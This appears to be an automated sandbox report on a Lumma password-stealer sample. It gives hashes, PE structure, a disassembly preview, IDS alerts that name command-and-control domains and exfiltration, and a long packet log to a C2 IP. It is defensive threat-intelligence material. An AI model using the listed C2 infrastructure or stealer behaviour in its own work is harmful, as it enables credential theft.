15:18:58	API Interceptor	10x Sleep call for process: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.33.140	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
goalyfeastz.site	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.145.203
goalyfeastz.site	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.140

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3	Get hash	malicious	Mamba2FA	Browse	104.16.117.116
	Access Audits -System #6878.msg	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5	Get hash	malicious	Unknown	Browse	104.18.86.42
	(No subject) (100).eml	Get hash	malicious	Tycoon2FA	Browse	188.114.96.3
	https://www.canva.com/design/DAGVD7_HMvQ/PFkDB3TDx6Ru4nNALhSqqQ/view?utm_content=DAGVD7_HMvQ&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	172.64.155.119
	file.exe	Get hash	malicious	LummaC	Browse	104.21.5.155
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	172.67.142.230
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	172.67.72.69

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	104.21.33.140
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	104.21.33.140
	file.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.140
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.33.140
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.33.140

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.990450651344029
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe
File size:	1'290'240 bytes
MD5:	21eb0b29554b832d677cea9e8a59b999
SHA1:	e6775ef09acc67f90e07205788a4165cbf8496ca
SHA256:	9aaa862061c903f3f5a1d509f0016a599b9152d02ea0365dfd3bbd9c5c147656
SHA512:	e7434e0d46e37e4a76bd8e394063a3ac531892b972347b3de8aa71689ded1ce4968b1a1defda720af4cfa66037390cbe771105e7bf892ef640cbee12e862e742
SSDEEP:	24576:VUt6SS6/lwChL5nLexP9eVKN3RjJMDnhY3YnBypzcnNftDquJN:+t6fYFexPoKNfMbcYnEINVG8
TLSH:	315533E00F206926C918A9BAD9BE1FB415A7D164458530A6F28F1D78CC5CC6FAF1D2EC
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.................D........................@..........................0<...........@................................. .-....

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x418b16
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715CDA7 [Mon Oct 21 03:42:31 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	71cc5af9daad65e58c6f29c42cdf9201

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00401000h
call 00007EFC14D16C06h
call far 5DE5h : 8B10C483h
jmp 00007EFC150BF3ABh
lodsd
sti
inc eax
or eax, 0C9D675Ah
cmp dword ptr [edx-33995C5Eh], ebx
mov byte ptr [ebx-3DE88728h], FFFFFFA5h
int1
xchg eax, esp
clc
mov edi, esi
fild dword ptr [edx-78F647B4h]
xchg eax, ebx
and ebx, dword ptr [eax-2595E2A7h]
sti
inc byte ptr [esi+042E60AAh]
dec edx
shr dword ptr [ecx-38h], 67h
adc eax, B89BD83Fh
sahf
mov cl, 6Fh
mov edi, dword ptr [ebx-033B4484h]
retf
lds edi, fword ptr [4F644706h]
push edi
bound esi, dword ptr [edx-78h]
jbe 00007EFC14D16BFEh
rol dword ptr [eax+279A04ECh], FFFFFFFCh
mov al, byte ptr [301EFBB7h]
xchg eax, esp
dec ebp
jecxz 00007EFC14D16C68h
add edi, dword ptr [edi+39h]
sar dword ptr [ecx-158AB99Eh], FFFFFFB4h
mov dword ptr [CD88C6BBh], eax
sub al, EEh
adc dword ptr [edx-495DD670h], FFFFFFFDh
add ebp, edi
sub byte ptr [esi], ch
jns 00007EFC14D16C62h
fcmove st(0), st(1)
out 96h, eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2dd020	0x214	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2dd000	0xc	.data
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x45000	0x23200	cf44f7452dcf5f8d225cca2d88061768	False	0.9979495662811388	data	7.997714729230857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x46000	0x3000	0x1000	669a906bed7426705bddbc9a6ec84728	False	0.92138671875	data	7.636228005076095	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x49000	0x10000	0x3400	89ac7c3fcb41eef78b191f650c86e226	False	0.9753605769230769	data	7.9278998086211505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x5000	0x2400	a413c09bec6a56ff4498e3e84a763197	False	1.0011935763888888	data	7.978359432501147	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5e000	0x27f000	0x2ba00	f189a3e15470c420a7a5b53422700d4d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data	0x2dd000	0xe6000	0xe5800	ba30390f681cdc4ed61f33a6d600d766	False	0.9975373178785403	data	7.985452413999655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
ole32.dll	CoCreateInstance

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T20:18:59.667744+0100	2057093	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)	1	192.168.2.5	56982	1.1.1.1	53	UDP
2024-10-30T20:18:59.680936+0100	2057089	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site)	1	192.168.2.5	64649	1.1.1.1	53	UDP
2024-10-30T20:18:59.693224+0100	2057085	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site)	1	192.168.2.5	57318	1.1.1.1	53	UDP
2024-10-30T20:19:00.362602+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49704	104.21.33.140	443	TCP
2024-10-30T20:19:00.833281+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	104.21.33.140	443	TCP
2024-10-30T20:19:00.833281+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	104.21.33.140	443	TCP
2024-10-30T20:19:01.534963+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49705	104.21.33.140	443	TCP
2024-10-30T20:19:01.992255+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	104.21.33.140	443	TCP
2024-10-30T20:19:01.992255+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	104.21.33.140	443	TCP
2024-10-30T20:19:02.848223+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49706	104.21.33.140	443	TCP
2024-10-30T20:19:03.330518+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	104.21.33.140	443	TCP
2024-10-30T20:19:04.171340+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49707	104.21.33.140	443	TCP
2024-10-30T20:19:05.718290+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49708	104.21.33.140	443	TCP
2024-10-30T20:19:07.384730+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49709	104.21.33.140	443	TCP
2024-10-30T20:19:09.139385+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49710	104.21.33.140	443	TCP
2024-10-30T20:19:11.600660+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.5	49711	104.21.33.140	443	TCP
2024-10-30T20:19:12.011244+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49711	104.21.33.140	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 20:18:59.712537050 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:18:59.712589025 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:18:59.712682009 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:18:59.713864088 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:18:59.713881016 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.362294912 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.362601995 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.366456985 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.366467953 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.366712093 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.420542955 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.431099892 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.431138039 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.431199074 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.833264112 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.833340883 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.833408117 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.835356951 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.835393906 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.835423946 CET	49704	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.835438967 CET	443	49704	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.915796995 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.915844917 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:00.915934086 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.916326046 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:00.916348934 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.534852028 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.534962893 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:01.536236048 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:01.536252022 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.536454916 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.537780046 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:01.537816048 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:01.537849903 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992249012 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992291927 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992331982 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992360115 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992382050 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992450953 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:01.992474079 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992569923 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:01.992578983 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992913008 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992938042 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.992981911 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:01.992990017 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:01.993098974 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.110836029 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.110991001 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.111027002 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.111043930 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.111063957 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.111123085 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.111131907 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.111143112 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.111183882 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.111423016 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.111423016 CET	49705	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.111440897 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.111450911 CET	443	49705	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.234951019 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.234976053 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.235047102 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.235398054 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.235408068 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.847867966 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.848222971 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.849564075 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.849571943 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.849770069 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:02.851300001 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.851474047 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:02.851500034 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:03.330499887 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:03.330566883 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:03.330832958 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:03.331190109 CET	49706	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:03.331213951 CET	443	49706	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:03.551418066 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:03.551466942 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:03.551595926 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:03.551929951 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:03.551949024 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.171251059 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.171339989 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:04.242450953 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:04.242464066 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.242697001 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.244291067 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:04.244420052 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:04.244452000 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.244513035 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:04.244519949 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.797727108 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.797817945 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:04.797929049 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:04.798101902 CET	49707	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:04.798118114 CET	443	49707	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:05.097467899 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.097511053 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:05.097594976 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.098033905 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.098051071 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:05.718187094 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:05.718290091 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.719788074 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.719803095 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:05.720127106 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:05.721560955 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.721713066 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.721751928 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:05.721816063 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:05.721827030 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:06.411712885 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:06.411793947 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:06.411864042 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:06.412070036 CET	49708	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:06.412111044 CET	443	49708	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:06.738900900 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:06.738940954 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:06.739010096 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:06.739413023 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:06.739428997 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:07.384625912 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:07.384730101 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:07.386164904 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:07.386176109 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:07.386377096 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:07.387938976 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:07.388060093 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:07.388067007 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:08.096782923 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:08.096848965 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:08.096926928 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:08.097227097 CET	49709	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:08.097253084 CET	443	49709	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:08.519248009 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:08.519264936 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:08.519341946 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:08.519777060 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:08.519789934 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.139282942 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.139384985 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.140907049 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.140927076 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.141136885 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.142441988 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.143188000 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.143229008 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.143357038 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.143402100 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.143528938 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.143595934 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.143738031 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.143790960 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.143944979 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.144001007 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.144193888 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.144237041 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.144258022 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.144287109 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.144422054 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.144464016 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.144522905 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.144598007 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.144644022 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.154329062 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.154562950 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.154607058 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:09.154676914 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.154742956 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:09.155103922 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:10.916407108 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:10.916490078 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:10.916604042 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:10.916770935 CET	49710	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:10.916796923 CET	443	49710	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:10.958085060 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:10.958132029 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:10.958230972 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:10.958538055 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:10.958554029 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:11.600522041 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:11.600660086 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:11.602159977 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:11.602173090 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:11.602416039 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:11.603799105 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:11.603822947 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:11.603863001 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:12.011243105 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:12.011324883 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:12.011396885 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:12.011532068 CET	49711	443	192.168.2.5	104.21.33.140
Oct 30, 2024 20:19:12.011554956 CET	443	49711	104.21.33.140	192.168.2.5
Oct 30, 2024 20:19:12.011568069 CET	49711	443	192.168.2.5	104.21.33.140
